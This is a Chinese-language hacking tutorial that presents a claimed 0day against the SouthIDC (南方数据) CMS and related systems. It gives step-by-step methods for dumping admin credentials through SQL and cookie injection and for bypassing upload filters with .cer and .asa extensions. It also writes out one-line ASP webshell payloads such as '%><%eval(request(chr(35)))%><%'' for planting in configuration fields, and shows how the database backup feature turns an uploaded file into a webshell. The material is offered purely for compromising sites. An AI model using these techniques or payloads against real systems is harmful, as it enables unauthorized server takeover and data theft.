南方数据编辑器southidceditor最新注入0day漏洞

1.注入点:

直接暴管理员帐号密码(md5)

2.登陆后台

3.利用编辑器上传:

访问

修改编辑器样式,增加asa(不要asp).然后直接后台编辑新闻上传.

========================================

参考资料整理:

1、通过upfile_other.asp漏洞文件直接取SHELL

直接打开userreg.asp进行注册会员，进行登录，（在未退出登录的状态下）使用本地上传文件进行上传代码如下：

将以上代码保存为html格式，替换代码中的网址，第一个框里选择图片文件，第二个框选择.cer、.asa或asp文件上传（后面需要加一个空格，貌似在IE8中进行使用不能后面加空格，加空格时就弹出选择文件对话框，我是找不到解决办法）。

注：此方法通杀南方数据、良精系统、网软天下等

2、通过注入秒杀管理员帐号密码，使用如下：

以上代码直接暴管理员帐号和密码，取SHELL方法如下：

在网站配置[/admin/SiteConfig.asp]的版权信息里写入 "%><%eval(request(chr(35)))%><%’
成功把shell写入

这里一句话chr(32)密码是“#”

3、cookie注入

清空地址栏，利用union语句来注入，提交：

如果你牛你就手工，反正我是不会，用刺猬大哥的“cookie注入转换工具”方便又迅速何乐而不为？

注：貌似南方数据、良精系统、网软天下等系统也都存在COOKIE注入。

（当然南方不只有上面三个漏洞，还有几个漏洞貌似不常用，反正我给我常用的总结出来希望对大家有帮助）

三、后台取SHELL方法总结

（1）在系统管理中的网站配置中插入一句话马：进入后台后,点左边的”系统管理”再点击”网站配置”在右边的”网站名称”(也可以在其它处)后加入”%><%Eval(Request(chr(112)))%><%’，再点保存配置，如图：

然后我们打开inc/config.asp文件，看到一句话马已写入到配置文件中了，

这时再打开一句话马的客户端,提交同样得到一个小马

(注:以下均在其它网站上测试所截的图，为防止信息泄漏，未截留网站连接，请谅解！)

（2）后台上传漏洞,在Upfile_Photo.asp文件中部分代码片段如下：

大家可以看到程序只限制了对”asp”，”asa”,”aspx”类的文件上传，我们只要在”网站配置”的允许的上传文件类型处增加上传“cer“等被服务器可解析的文件类型就可，如图：
提交时却显示下载页面 ,上传其它如”htr,cdx”等后缀文件时,提交时服务器却不请求(只能说运气不好吧)

（3）后台备份,直接在”产品管理”下的添加产品中上传jpg后缀的asp马,再到”系统管理”下的数据库备份,在”当前数据库路径”栏填入上传的路径,在” 备份数据库名称”填入你要备份马的名称,不过系统会在名称后自动添加上.asa的

点”确定”后提示”备份数据库成功….”不过实际文件是没有.asa的

直接访问备份后的地址,就得到一个webshell
（以上虽用网软做的后台演示，但南方和良精后台取shell都是大同小异的）